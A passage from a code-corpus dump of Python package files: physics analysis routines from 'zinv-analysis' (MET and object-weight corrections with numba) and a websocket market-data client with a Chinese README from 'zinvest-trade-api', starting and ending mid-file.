met_shift_numba( met, mephi, ev.Jet_pt.content, ev.Jet_ptShift(ev, source, nsig).content, ev.Jet_phi.content, ev.Jet_pt.starts, ev.Jet_pt.stops, ) if source in ["eleEnergyScale"]: nmet, nmephi = met_shift_numba( nmet, nmephi, ev.Electron_pt.content, ev.Electron_ptShift(ev, source, nsig).content, ev.Electron_phi.content, ev.Electron_phi.starts, ev.Electron_phi.stops, ) elif source in ["muonPtScale"]: nmet, nmephi = met_shift_numba( nmet, nmephi, ev.Muon_pt.content, ev.Muon_ptShift(ev, source, nsig).content, ev.Muon_phi.content, ev.Muon_phi.starts, ev.Muon_phi.stops, ) elif source in ["photonEnergyScale"]: nmet, nmephi = met_shift_numba( nmet, nmephi, ev.Photon_pt.content, ev.Photon_ptShift(ev, source, nsig).content, ev.Photon_phi.content, ev.Photon_phi.starts, ev.Photon_phi.stops, ) elif source in ["tauPtScale"]: nmet, nmephi = met_shift_numba( nmet, nmephi, ev.Tau_pt.content, ev.Tau_ptShift(ev, source, nsig).content, ev.Tau_phi.content, ev.Tau_phi.starts, ev.Tau_phi.stops, ) elif source in ["unclust"]: mex, mey = RadToCart2D(nmet, nmephi) mex += nsig*ev.MET_MetUnclustEnUpDeltaX mey += nsig*ev.MET_MetUnclustEnUpDeltaY nmet, nmephi = CartToRad2D(mex, mey) return (nmet, nmephi)[arg_].astype(np.float32) def met_sumet_shift(ev, source, nsig, coll): @nb.njit(["float32[:](" "float32[:]," "float32[:],float32[:],int64[:],int64[:]," "float32[:],float32[:],int64[:],int64[:]," "float32[:],float32[:],int64[:],int64[:]," "float32[:],float32[:],int64[:],int64[:]," "float32[:],float32[:],int64[:],int64[:])" ]) def nb_met_sumet_shift( sumet, jpt, cjpt, jstas, jstos, ept, cept, estas, estos, mpt, cmpt, mstas, mstos, ypt, cypt, ystas, ystos, tpt, ctpt, tstas, tstos, ): sumet_shift = np.zeros_like(sumet, dtype=np.float32) for iev, (jsta, jsto, esta, esto, msta, msto, ysta, ysto, tsta, tsto) in enumerate(zip( jstas, jstos, estas, estos, mstas, mstos, ystas, ystos, tstas, tstos, )): sumet_shift[iev] = ( sumet[iev] + (cjpt[jsta:jsto] - jpt[jsta:jsto]).sum() + (cept[esta:esto] - ept[esta:esto]).sum() + (cmpt[msta:msto] - mpt[msta:msto]).sum() + (cypt[ysta:ysto] - ypt[ysta:ysto]).sum() + (ctpt[tsta:tsto] - tpt[tsta:tsto]).sum() ) return sumet_shift return nb_met_sumet_shift( getattr(ev, "{}_sumEt".format(coll)), ev.Jet_pt.content, ev.Jet_ptShift(ev, source, nsig).content, ev.Jet_eta.starts, ev.Jet_eta.stops, ev.Electron_pt.content, ev.Electron_ptShift(ev, source, nsig).content, ev.Electron_eta.starts, ev.Electron_eta.stops, ev.Muon_pt.content, ev.Muon_ptShift(ev, source, nsig).content, ev.Muon_eta.starts, ev.Muon_eta.stops, ev.Photon_pt.content, ev.Photon_ptShift(ev, source, nsig).content, ev.Photon_eta.starts, ev.Photon_eta.stops, ev.Tau_pt.content, ev.Tau_ptShift(ev, source, nsig).content, ev.Tau_eta.starts, ev.Tau_eta.stops, ) def obj_selection(ev, source, nsig, attr, name, sele, xclean=False): mask = getattr(ev, "{}_{}Mask".format(name, sele))(ev, source, nsig) if xclean: mask = mask & getattr(ev, "{}_XCleanMask".format(name))(ev, source, nsig) obj = getattr(ev, "{}_{}".format(name, attr)) if callable(obj): obj = obj(ev, source, nsig) return obj[mask] def obj_drtrig(ev, source, nsig, coll, ref, ref_selection=None): @nb.njit(["float32[:](int64[:], int64[:], float32[:], float32[:], int64[:], int64[:], float32[:], float32[:])"]) def nb_dr_coll_ref( coll_starts, coll_stops, coll_eta, coll_phi, ref_starts, ref_stops, ref_eta, ref_phi, ): # maximally opposite in eta and phi coll_dr = (10.+np.pi)*np.ones_like(coll_eta, dtype=np.float32) for cstart, cstop, rstart, rstop in zip( coll_starts, coll_stops, ref_starts, ref_stops, ): for ic in range(cstart, cstop): coll_dr[ic] = min([ DeltaR2( coll_eta[ic]-ref_eta[ir], coll_phi[ic]-ref_phi[ir], ) for ir in range(rstart, rstop) ]+[10.+np.pi]) return coll_dr.astype(np.float32) ref_eta = getattr(ev, ref).eta if ref_selection is not None: mask = Lambda(ref_selection)(ev, source, nsig) else: mask = awk.JaggedArray( ref_eta.starts, ref_eta.stops, np.ones_like(ref_eta.content), ) starts, stops = getattr(ev, coll).eta.starts, getattr(ev, coll).eta.stops return awk.JaggedArray( starts, stops, nb_dr_coll_ref( starts, stops, getattr(ev, coll).eta.content, getattr(ev, coll).phi.content, ref_eta[mask].starts, ref_eta[mask].stops, ref_eta[mask].content, getattr(ev, ref).phi[mask].content, ), ) def tau_pt_shift(ev, source, nsig): # see https://twiki.cern.ch/twiki/bin/view/CMS/TauIDRecommendation13TeV#Tau_energy_scale # corrections summed in quad to uncertainties are still dominated by # uncertainties, so lets use the quad @nb.njit([ "float32[:](float32[:],float32[:])", "float32[:](float32[:],int32[:])", ]) def nb_tau_pt_err(tau_pt, tau_dm): tau_pt_err = np.zeros_like(tau_pt, dtype=np.float32) for idx in range(len(tau_pt)): pt_err = 0. if (-0.5<tau_dm[idx]) and (tau_dm[idx]<0.5): pt_err = 0.012 #0.010 elif (0.5<tau_dm[idx]) and (tau_dm[idx]<2.5): pt_err = 0.010 #0.009 elif (9.5<tau_dm[idx]) and (tau_dm[idx]<10.5): pt_err = 0.011 #0.011 tau_pt_err[idx] = pt_err*tau_pt[idx] return tau_pt_err tau_pt_err = nb_tau_pt_err( ev.Tau_pt.content, ev.Tau_decayMode.content, ) shift = ((source=="tauPtScale")*tau_pt_err/ev.Tau_pt.content).astype(np.float32) return awk.JaggedArray(ev.Tau_pt.starts, ev.Tau_pt.stops, pt_shift_numba( ev.Tau_pt.content, nsig, shift, -1.*shift )) class ObjectFunctions(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) def begin(self, event): event.register_function(event, "Jet_ptShift", jet_pt_shift) event.register_function(event, "Muon_ptShift", muon_pt_shift) event.register_function(event, "Electron_ptShift", ele_pt_shift) event.register_function(event, "Photon_ptShift", photon_pt_shift) event.register_function(event, "Tau_ptShift", tau_pt_shift) event.register_function(event, "MET_ptShift", partial(met_shift, coll="MET", attr='pt')) event.register_function(event, "MET_phiShift", partial(met_shift, coll="MET", attr='phi')) event.register_function(event, "MET_sumEtShift", partial(met_sumet_shift, coll="MET")) event.register_function(event, "PuppiMET_ptShift", partial(met_shift, coll="PuppiMET", attr='pt')) event.register_function(event, "PuppiMET_phiShift", partial(met_shift, coll="PuppiMET", attr='phi')) event.register_function(event, "PuppiMET_sumEtShift", partial(met_sumet_shift, coll="PuppiMET")) event.register_function(event, "Jet_dphiMET", partial(jet_dphimet, coll="MET")) event.register_function(event, "Jet_dphiPuppiMET", partial(jet_dphimet, coll="PuppiMET")) event.register_function(event, "Tau_dphiMET", partial(tau_dphimet, coll="MET")) event.register_function(event, "Tau_dphiPuppiMET", partial(tau_dphimet, coll="PuppiMET")) event.register_function(event, "Muon_dRTrigMuon", partial( obj_drtrig, coll="Muon", ref="TrigObj", ref_selection="ev, source, nsig: (np.abs(ev.TrigObj_id)==1) | (np.abs(ev.TrigObj_id)==13)", )) event.register_function(event, "Electron_dRTrigElectron", partial( obj_drtrig, coll="Electron", ref="TrigObj", ref_selection="ev, source, nsig: np.abs(ev.TrigObj_id)==11", )) for objname, selection, xclean in self.selections: if xclean: event.register_function( event, selection+"NoXClean", partial(obj_selection, name=objname, sele=selection), ) event.register_function( event, selection, partial( obj_selection, name=objname, sele=selection, xclean=True, ), ) else: event.register_function( event, selection, partial(obj_selection, name=objname, sele=selection), )
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/ObjectFunctions.py
ObjectFunctions.py
import numpy as np import numba as nb import pandas as pd import awkward as awk import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.Lambda import Lambda from zinv.utils.NumbaFuncs import weight_numba, get_bin_indices def evaluate_object_weights( ev, source, nsig, df, bins_vars, add_syst, name, ): @nb.njit def weighted_mean_numba( objattr, w, k, statup, statdown, systup, systdown, addsyst, nweight, ): wsum = np.zeros_like(objattr, dtype=np.float32) wksum = np.zeros_like(objattr, dtype=np.float32) wdkstatupsum = np.zeros_like(objattr, dtype=np.float32) wdkstatdownsum = np.zeros_like(objattr, dtype=np.float32) wdksystupsum = np.zeros_like(objattr, dtype=np.float32) wdksystdownsum = np.zeros_like(objattr, dtype=np.float32) for idx in range(objattr.shape[0]): for subidx in range(nweight*idx, nweight*(idx+1)): wsum[idx] += w[subidx] wksum[idx] += w[subidx]*k[subidx] wdkstatupsum[idx] += (w[subidx]*statup[subidx])**2 wdkstatdownsum[idx] += (w[subidx]*statdown[subidx])**2 wdksystupsum[idx] += (w[subidx]*systup[subidx])**2 wdksystdownsum[idx] += (w[subidx]*systdown[subidx])**2 mean = wksum / wsum stat_up = np.sqrt((wdkstatupsum / wsum**2) + addsyst**2) stat_down = -1.*np.sqrt((wdkstatdownsum / wsum**2) + addsyst**2) syst_up = np.sqrt((wdksystupsum / wsum**2) + addsyst**2) syst_down = -1.*np.sqrt((wdksystdownsum / wsum**2) + addsyst**2) return ( mean.astype(np.float32), stat_up.astype(np.float32), stat_down.astype(np.float32), syst_up.astype(np.float32), syst_down.astype(np.float32), ) event_vars = [v(ev, source, nsig) for v in bins_vars] for v in event_vars: v.content[np.isnan(v.content)] = 0. indices = get_bin_indices( [event_vars[idx].content.astype(np.float32) for idx in range(len(event_vars))], [df["bin{}_low".format(idx)].values.astype(np.float32) for idx in range(len(event_vars))], [df["bin{}_upp".format(idx)].values.astype(np.float32) for idx in range(len(event_vars))], df["weight"].unique().shape[0], ).ravel() dfw = df.iloc[indices] sf, sf_statup, sf_statdown, sf_systup, sf_systdown = weighted_mean_numba( event_vars[0].content, dfw["weight"].values, dfw["corr"].values, dfw["stat_up"].values, dfw["stat_down"].values, dfw["syst_up"].values, dfw["syst_down"].values, add_syst(ev, source, nsig).content, df["weight"].unique().shape[0], ) sfup = sf_systup if "syst" in source.lower() else sf_statup sfdown = sf_systdown if "syst" in source.lower() else sf_statdown return awk.JaggedArray( event_vars[0].starts, event_vars[0].stops, weight_numba(sf, nsig, sfup, sfdown) if name.lower()==source.lower().replace("stat", "").replace("syst", "") else weight_numba(sf, 0., sfup, sfdown) ) class WeightObjects(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) # Add dataframes to correctors for corrector in self.correctors: dfs = [] for w, path in corrector["weighted_paths"]: ndims = len(corrector["binning_variables"]) file_form = [ ("bin{}_low".format(idx), "bin{}_upp".format(idx)) for idx in range(ndims) ] file_form = [ bin_label for bin_pair in file_form for bin_label in bin_pair ] + ["corr", "stat_up", "stat_down", "syst_up", "syst_down"] try: df = ( pd.read_csv(path) .set_index(["label", "vars"]) .loc[corrector["selection"],:] ) except Exception as e: raise IOError(e, path) df.columns = file_form df = df.sort_values(file_form).reset_index(drop=True) for idx in range(ndims): bin_low = "bin{}_low".format(idx) bin_upp = "bin{}_upp".format(idx) df.loc[df[bin_low]==df[bin_low].min(), bin_low] = -np.inf df.loc[df[bin_upp]==df[bin_upp].max(), bin_upp] = np.inf df["weight"] = w dfs.append(df) corrector["df"] = pd.concat(dfs).reset_index(drop=True) # fin init def begin(self, event): funcs = [corrector["binning_variables"] for corrector in self.correctors] funcs.extend([(corrector["add_syst"],) for corrector in self.correctors]) self.lambda_functions = { func: Lambda(func) for func in [f for fs in funcs for f in fs] } for corrector in self.correctors: vname = corrector["name"] cname = corrector["collection"] event.register_function( event, "{}_Weight{}SF".format(cname, vname), partial( evaluate_object_weights, df=corrector["df"], bins_vars=[self.lambda_functions[v] for v in corrector["binning_variables"]], add_syst=self.lambda_functions[corrector["add_syst"]], name=vname, ), ) def end(self): self.lambda_functions = None
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightObjects.py
WeightObjects.py
import numpy as np import numba as nb import pandas as pd import operator from cachetools import cachedmethod from cachetools.keys import hashkey from functools import partial from zinv.utils.NumbaFuncs import interp, weight_numba def evaluate_met_trigger(ev, source, nsig, xcents, params, systs): @nb.njit def met_trigger_numba(xcents_, incorr, met): nev = met.shape[0] output = np.ones(nev, dtype=np.float32) for iev in range(nev): output[iev] = interp( met[iev], xcents_.astype(np.float32), incorr.astype(np.float32), ) return output metnox = ev.METnoX_pt(ev, source, nsig) wmet = met_trigger_numba(xcents, params["value"], metnox) up = np.zeros_like(wmet) down = np.zeros_like(wmet) zero_mask = (wmet!=0.) for syst in systs: syst_name = "metTrig_{}Syst".format(syst if syst[0] == syst[0].lower() else syst[0].lower()+syst[1:]) if source == syst_name: up[zero_mask] = met_trigger_numba(xcents, params[syst+"Up"], metnox)[zero_mask]/wmet[zero_mask] - 1. down[zero_mask] = met_trigger_numba(xcents, params[syst+"Down"], metnox)[zero_mask]/wmet[zero_mask] - 1. return weight_numba(wmet, nsig, up, down) class WeightMetTrigger2(object): def __init__(self, **kwargs): self.__dict__.update(kwargs) df = read_file(self.correction_file) # Assume all rows are the same for now systs = df["systs"].str.split("_").iloc[0] xcents = df["var0_cent"].values params = {"value": df["value"].values} for idx, syst in enumerate(systs): params[syst+"Up"] = params["value"]*(1.+df["syst{}_up".format(idx)].values) params[syst+"Down"] = params["value"]*(1.-df["syst{}_down".format(idx)].values) self.systs = systs self.xcents = xcents self.params = params def begin(self, event): event.register_function( event, "WeightMETTrig", partial( evaluate_met_trigger, xcents = self.xcents, params = self.params, systs = self.systs, ), ) def read_file(path): df = pd.read_csv(path) df = df[[ "label", "vars", "systs", "var0_min", "var0_max", "value", "syst0_up", "syst0_down", "syst1_up", "syst1_down", "syst2_up", "syst2_down", ]] df["var0_cent"] = df.eval("(var0_min+var0_max)/2.") return df
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/modules/readers/WeightMetTrigger2.py
WeightMetTrigger2.py
import numpy as np import numba as nb def get_bin_indices(vars, mins, maxs, size): @nb.njit def get_multibin_indices(vars_, mins_, maxs_, size_): result = -1*np.ones((vars_[0].shape[0], size_), dtype=np.int64) for iev in range(vars_[0].shape[0]): pos = 0 for ib in range(mins_[0].shape[0]): accept = True for idx in range(len(vars_)): if not (mins_[idx][ib] <= vars_[idx][iev] < maxs_[idx][ib]): accept = False if accept: assert pos < size_ result[iev,pos] = ib pos += 1 #assert pos == size_ return result @nb.njit def get_1dbin_indices(var_, min_, max_, size_): result = -1*np.ones((var_.shape[0], size_), dtype=np.int64) for iev in range(var_.shape[0]): pos = 0 for ib in range(min_.shape[0]): if min_[ib] <= var_[iev] < max_[ib]: assert pos < size_ result[iev,pos] = ib pos += 1 # assert pos == size_ return result if len(vars) == 1: return get_1dbin_indices(vars[0], mins[0], maxs[0], size) else: return get_multibin_indices(vars, mins, maxs, size) @nb.njit(["float32[:](float32[:],int64[:],int64[:])"]) def event_to_object_var(variable, starts, stops): new_obj_var = np.zeros(stops[-1], dtype=np.float32) for idx, (start, stop) in enumerate(zip(starts, stops)): for subidx in range(start, stop): new_obj_var[subidx] = variable[idx] return new_obj_var @nb.njit(["float32(float32,float32[:],float32[:])"]) def interp(x, xp, fp): if x < xp[0]: return fp[0] elif x > xp[-1]: return fp[-1] for ix in range(xp.shape[0]-1): if xp[ix] <= x < xp[ix+1]: return (x - xp[ix]) * (fp[ix+1] - fp[ix]) / (xp[ix+1] - xp[ix]) + fp[ix] return np.nan @nb.njit def interpolate(x, xp, fp): result = np.zeros_like(x, dtype=np.float32) for idx in range(x.shape[0]): cx = x[idx] cxp = xp[idx,:] cfp = fp[idx,:] if cx < cxp[0]: result[idx] = cfp[0] elif cx >= cxp[-1]: result[idx] = cfp[-1] else: for ix in range(cxp.shape[0]-1): if cxp[ix] <= cx < cxp[ix+1]: result[idx] = (cx-cxp[ix])*(cfp[ix+1]-cfp[ix])/(cxp[ix+1]-cxp[ix]) + cfp[ix] break else: result[idx] = np.nan return result @nb.njit([ "float32[:](float32[:],float32,float32[:],float32[:])", "float64[:](float64[:],float64,float64[:],float64[:])", ]) def weight_numba(nominal, nsig, up, down): return nominal * (1 + (nsig>=0)*nsig*up - (nsig<0)*nsig*down)
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv/utils/NumbaFuncs.py
NumbaFuncs.py
from zinv.modules import analyse import warnings warnings.filterwarnings('ignore') import logging logging.getLogger(__name__).setLevel(logging.INFO) logging.getLogger("alphatwirl").setLevel(logging.INFO) logging.getLogger("alphatwirl.progressbar.ProgressReport").setLevel(logging.ERROR) logging.getLogger(__name__).propagate = False logging.getLogger("alphatwirl").propagate = False logging.getLogger("atuproot.atuproot_main").propagate = False logging.getLogger("alphatwirl.progressbar.ProgressReport").propagate = False import argparse def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("dataset_cfg", type=str, help="Dataset config to run over") parser.add_argument("sequence_cfg", type=str, help="Config for how to process events") parser.add_argument("event_selection_cfg", type=str, help="Config for the event selection") parser.add_argument("physics_object_cfg", type=str, help="Config for the physics object selection") parser.add_argument("trigger_cfg", type=str, help="Config for the HLT trigger paths") parser.add_argument("hdf_cfg", type=str, help="Config for the output HDF files") parser.add_argument("-n", "--name", default="zinv", type=str, help="Name to pass to batch") parser.add_argument("-o", "--outdir", default="output", type=str, help="Where to save the results") parser.add_argument("-t", "--tempdir", default="_ccsp_temp", type=str, help="Where to store the temp directory") parser.add_argument("--mode", default="multiprocessing", type=str, help="Which mode to run in (multiprocessing, htcondor, " "sge)") parser.add_argument("--batch-opts", type=str, default="-q hep.q -l h_rt=3:0:0 -l h_vmem=24G", help="SGE options") parser.add_argument("--ncores", default=0, type=int, help="Number of cores to run on") parser.add_argument("--nblocks-per-dataset", default=-1, type=int, help="Number of blocks per dataset") parser.add_argument("--nblocks-per-process", default=-1, type=int, help="Number of blocks per process") parser.add_argument("--nfiles-per-dataset", default=-1, type=int, help="Number of files per dataset") parser.add_argument("--nfiles-per-process", default=1, type=int, help="Number of files per process") parser.add_argument("--blocksize", default=1000000, type=int, help="Number of events per block") parser.add_argument("--cachesize", default=8*1024**3, type=int, help="Branch cache size") parser.add_argument("--quiet", default=False, action='store_true', help="Keep progress report quiet") parser.add_argument("--dryrun", default=False, action='store_true', help="Don't submit the jobs to a batch system") parser.add_argument("--sample", default=None, type=str, help="Select some sample (comma delimited). Can " "selected from (data, mc and more)") return parser.parse_args() if __name__ == "__main__": analyse(**vars(parse_args()))
zinv-analysis
/zinv_analysis-0.3.2-py3-none-any.whl/zinv_analysis-0.3.2.data/scripts/zinv_analyse.py
zinv_analyse.py
# Zinvest-trade-api-python `zinvest-trade-api-python` 尊嘉证券行情API,用户可以订阅港股、美股实时行情,包含买卖10档盘口与最新价。说明文档:(https://www.zvsts.com/api). 同时尊嘉证券提供免费实时的RESTful交易API。编程语言不限于Python/JS/JAVA/C++/Go等。说明文档:(https://www.zvsts.com/api). ## 安装 Python 环境:python>=3.6 and python <= 3.9 ### 从pip库一键安装: ```bash pip install zinvest-trade-api ``` ### 下载源代码安装 一键安装以下依赖包:pip install -r requirements.txt ``` python-dateutil==2.8.1 msgpack==1.0.2 websockets==8.0 ``` 下载zinvest-trade-api-python代码后,进入根目录运行steam_example.py可以查看订阅结果。 ```bash python ./stream_example.py ``` 如果自定义开发客户端订阅,把zinvest_trade_api目录引入工程里,可以自行开发。 ## API Keys 应用市场搜索下载'尊嘉金融'APP,注册登录获取实时行情订阅权限。 | Environment | default | Description | | -------------------------------- | -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | | ZVST_API_KEY_ID=<key_id> | | 尊嘉金融APP用户名 | | ZVST_API_SECRET_KEY=<secret_key> | | 尊嘉金融APP登录密码 | # 服务 * 数据: * [实时行情订阅](https://www.zvsts.com/api) ## 怎样订阅实时港股、美股行情 ### 实时行情包含如下类型: * Quotes (https://www.zvsts.com/api) * Snapshots (https://www.zvsts.com/api) ### 实时订阅行情参考:'stream_example.py' ```py import logging from zinvest_trade_api.stream import Stream log = logging.getLogger(__name__) async def print_quote(q): print('quote', q) async def print_snapshots(s): print('snapshots', s) def main(): logging.basicConfig(level=logging.INFO) stream = Stream(key_id='test', secret_key='test') stream.subscribe_quotes(print_quote, 'HKEX_00700', 'HKEX_03690') stream.subscribe_snapshots(print_snapshots, 'HKEX_00700') stream.run() if __name__ == "__main__": main() ``` ### 更多示例可以参考example目录: * 停止和恢复websocket连接。 * 动态订阅或取消订阅某些股票。
zinvest-trade-api
/zinvest-trade-api-0.0.4.tar.gz/zinvest-trade-api-0.0.4/README.md
README.md
import os from typing import Tuple import dateutil.parser Credentials = Tuple[str, str, str] class URL(str): def __new__(cls, *value): """ note: we use *value and v0 to allow an empty URL string """ if value: v0 = value[0] if not (isinstance(v0, str) or isinstance(v0, URL)): raise TypeError(f'Unexpected type for URL: "{type(v0)}"') if not (v0.startswith('http://') or v0.startswith('https://') or v0.startswith('ws://') or v0.startswith('wss://')): raise ValueError(f'Passed string value "{v0}" is not an' f' "http*://" or "ws*://" URL') return str.__new__(cls, *value) class DATE(str): """ date string in the format YYYY-MM-DD """ def __new__(cls, value): if not value: raise ValueError('Unexpected empty string') if not isinstance(value, str): raise TypeError(f'Unexpected type for DATE: "{type(value)}"') if value.count("-") != 2: raise ValueError(f'Unexpected date structure. expected ' f'"YYYY-MM-DD" got {value}') try: dateutil.parser.parse(value) except Exception as e: msg = f"{value} is not a valid date string: {e}" raise Exception(msg) return str.__new__(cls, value) class FLOAT(str): """ api allows passing floats or float as strings. let's make sure that param passed is one of the two, so we don't pass invalid strings all the way to the servers. """ def __new__(cls, value): if isinstance(value, float) or isinstance(value, int): return value if isinstance(value, str): return float(value.strip()) raise ValueError(f'Unexpected float format "{value}"') def get_base_url() -> URL: return URL(os.environ.get( 'ZVST_API_BASE_URL', 'https://127.0.0.1:123456').rstrip('/')) def get_data_url() -> URL: return URL(os.environ.get( 'ZVST_API_DATA_URL', 'https://data.zvsts.markets').rstrip('/')) def get_data_stream_url() -> URL: return URL(os.environ.get( 'ZVST_API_STREAM_URL', 'wss://mdpush.investassistant.com/marketdata/push').rstrip('/') ) def get_credentials(key_id: str = None, secret_key: str = None, oauth: str = None) -> Credentials: oauth = oauth or os.environ.get('ZVST_API_OAUTH_TOKEN') key_id = key_id or os.environ.get('ZVST_API_KEY_ID') if key_id is None and oauth is None: raise ValueError('Key ID must be given to access Zinvest trade API', ' (env: ZVST_API_KEY_ID)') secret_key = secret_key or os.environ.get('ZVST_API_SECRET_KEY') if secret_key is None and oauth is None: raise ValueError('Secret key must be given to access Zinvset trade API' ' (env: ZVST_API_SECRET_KEY') return key_id, secret_key, oauth def get_api_version(api_version: str) -> str: api_version = api_version or os.environ.get('ZVST_API_VERSION') if api_version is None: api_version = 'v2' return api_version
zinvest-trade-api
/zinvest-trade-api-0.0.4.tar.gz/zinvest-trade-api-0.0.4/zinvest_trade_api/common.py
common.py
import asyncio import logging import json import msgpack import re import websockets import queue from .common import get_base_url, get_data_stream_url, get_credentials, URL log = logging.getLogger(__name__) def _ensure_coroutine(handler): if not asyncio.iscoroutinefunction(handler): raise ValueError('handler must be a coroutine function') def convert(data): if isinstance(data, bytes): return data.decode('ascii') if isinstance(data, dict): return dict(map(convert, data.items())) if isinstance(data, tuple): return map(convert, data) if isinstance(data, list): return list(map(convert, data)) return data def convertToObj(data): if isinstance(data, str): return json.loads(data) else: return data class _DataStream(): def __init__(self, endpoint: str, key_id: str, secret_key: str, raw_data: bool = False) -> None: self._endpoint = endpoint self._key_id = key_id self._secret_key = secret_key self._ws = None self._running = False self._raw_data = raw_data self._stop_stream_queue = queue.Queue() self._handlers = { 'trades': {}, 'quotes': {}, 'bars': {}, 'dailyBars': {}, 'snapshots': {}, } self._name = 'data' self._should_run = True async def _connect(self): try: self._ws = await websockets.connect( self._endpoint, extra_headers={'Content-Type': 'application/msgpack'}) r = await self._ws.recv() msg = msgpack.unpackb(r) # msg = convert(msg) # msg = convertToObj(msg) if msg[0]['T'] != 'success' or msg[0]['msg'] != 'connected': raise ValueError('connected message not received') except Exception as e: log.error('connected error ', e) log.error(f'connected failed ,waiting 1 seconds to reconnect.') await asyncio.sleep(1) async def _auth(self): await self._ws.send( msgpack.packb({ 'action': 'auth', 'key': self._key_id, 'secret': self._secret_key, })) r = await self._ws.recv() msg = msgpack.unpackb(r) # msg = convert(msg) # msg = convertToObj(msg) if msg[0]['T'] == 'error': raise ValueError(msg[0].get('msg', 'auth failed')) if msg[0]['T'] != 'success' or msg[0]['msg'] != 'authenticated': raise ValueError('failed to authenticate') async def _start_ws(self): await self._connect() if self._ws: await self._auth() log.info(f'connected to: {self._endpoint}') async def close(self): if self._ws: await self._ws.close() self._ws = None self._running = False async def stop_ws(self): self._should_run = False if self._stop_stream_queue.empty(): self._stop_stream_queue.put_nowait({"should_stop": True}) async def _consume(self): while True: if not self._stop_stream_queue.empty(): self._stop_stream_queue.get(timeout=1) await self.close() break else: try: r = await asyncio.wait_for(self._ws.recv(), 5) msgs = msgpack.unpackb(r) # msgs = convert(msgs) # msgs = convertToObj(msgs) for msg in msgs: await self._dispatch(msg) except asyncio.TimeoutError: # ws.recv is hanging when no data is received. by using # wait_for we break when no data is received, allowing us # to break the loop when needed pass def _cast(self, msg_type, msg): result = msg if not self._raw_data: return result return result async def _dispatch(self, msg): msg_type = msg.get('T') symbol = msg.get('S') if msg_type == 't': handler = self._handlers['trades'].get( symbol, self._handlers['trades'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 'q': handler = self._handlers['quotes'].get( symbol, self._handlers['quotes'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 'b': handler = self._handlers['bars'].get( symbol, self._handlers['bars'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 'd': handler = self._handlers['dailyBars'].get( symbol, self._handlers['dailyBars'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 's': handler = self._handlers['snapshots'].get( symbol, self._handlers['snapshots'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 'subscription': sub = [f'{k}: {msg.get(k, [])}' for k in self._handlers] log.info(f'subscribed to {", ".join(sub)}') elif msg_type == 'success': log.info(f'sucess: {msg.get("msg")}') elif msg_type == 'error': log.error(f'error: {msg.get("msg")} ({msg.get("code")})') def _subscribe(self, handler, symbols, handlers): _ensure_coroutine(handler) for symbol in symbols: handlers[symbol] = handler if self._running: asyncio.get_event_loop().run_until_complete(self._subscribe_all()) async def _subscribe_all(self): if any(self._handlers.values()): msg = { k: tuple(v.keys()) for k, v in self._handlers.items() if v } msg['action'] = 'subscribe' await self._ws.send(msgpack.packb(msg)) async def _unsubscribe(self, trades=(), quotes=(), bars=(), daily_bars=(), snapshots=()): if trades or quotes or bars or daily_bars or snapshots: await self._ws.send( msgpack.packb({ 'action': 'unsubscribe', 'trades': trades, 'quotes': quotes, 'bars': bars, 'dailyBars': daily_bars, 'snapshots': snapshots, })) async def _run_forever(self): # do not start the websocket connection until we subscribe to something while not any(self._handlers.values()): if not self._stop_stream_queue.empty(): # the ws was signaled to stop before starting the loop so # we break self._stop_stream_queue.get(timeout=1) return await asyncio.sleep(0.1) log.info(f'started {self._name} stream') self._should_run = True self._running = False while True: try: if not self._should_run: # when signaling to stop, this is how we break run_forever log.info("{} stream stopped".format(self._name)) return if not self._running: log.info("starting {} websocket connection".format( self._name)) await self._start_ws() if self._ws: await self._subscribe_all() self._running = True await self._consume() except websockets.WebSocketException as wse: await self.close() self._running = False log.warn('data websocket error, restarting connection: ' + str(wse)) except Exception as e: log.exception('error during websocket ' 'communication: {}'.format(str(e))) finally: await asyncio.sleep(0.01) def subscribe_trades(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['trades']) def subscribe_quotes(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['quotes']) def subscribe_bars(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['bars']) def subscribe_daily_bars(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['dailyBars']) def subscribe_snapshots(self, handler, *symbols): self._subscribe(handler, symbols, self._handlers['snapshots']) def unsubscribe_trades(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(trades=symbols)) for symbol in symbols: del self._handlers['trades'][symbol] def unsubscribe_quotes(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(quotes=symbols)) for symbol in symbols: del self._handlers['quotes'][symbol] def unsubscribe_bars(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(bars=symbols)) for symbol in symbols: del self._handlers['bars'][symbol] def unsubscribe_daily_bars(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(daily_bars=symbols)) for symbol in symbols: del self._handlers['dailyBars'][symbol] def unsubscribe_snapshots(self, *symbols): if self._running: asyncio.get_event_loop().run_until_complete( self._unsubscribe(snapshots=symbols)) for symbol in symbols: del self._handlers['snapshots'][symbol] class DataStream(_DataStream): def __init__(self, key_id: str, secret_key: str, base_url: URL, raw_data: bool = True): base_url = re.sub(r'^http', 'ws', base_url) super().__init__(endpoint=base_url, key_id=key_id, secret_key=secret_key, raw_data=raw_data, ) self._handlers['statuses'] = {} self._handlers['lulds'] = {} self._name = 'stock data' def _cast(self, msg_type, msg): result = super()._cast(msg_type, msg) if not self._raw_data: return result return result async def _dispatch(self, msg): msg_type = msg.get('T') symbol = msg.get('S') if msg_type == 'ss': handler = self._handlers['statuses'].get( symbol, self._handlers['statuses'].get('*', None)) if handler: await handler(self._cast(msg_type, msg)) elif msg_type == 'l': handler = 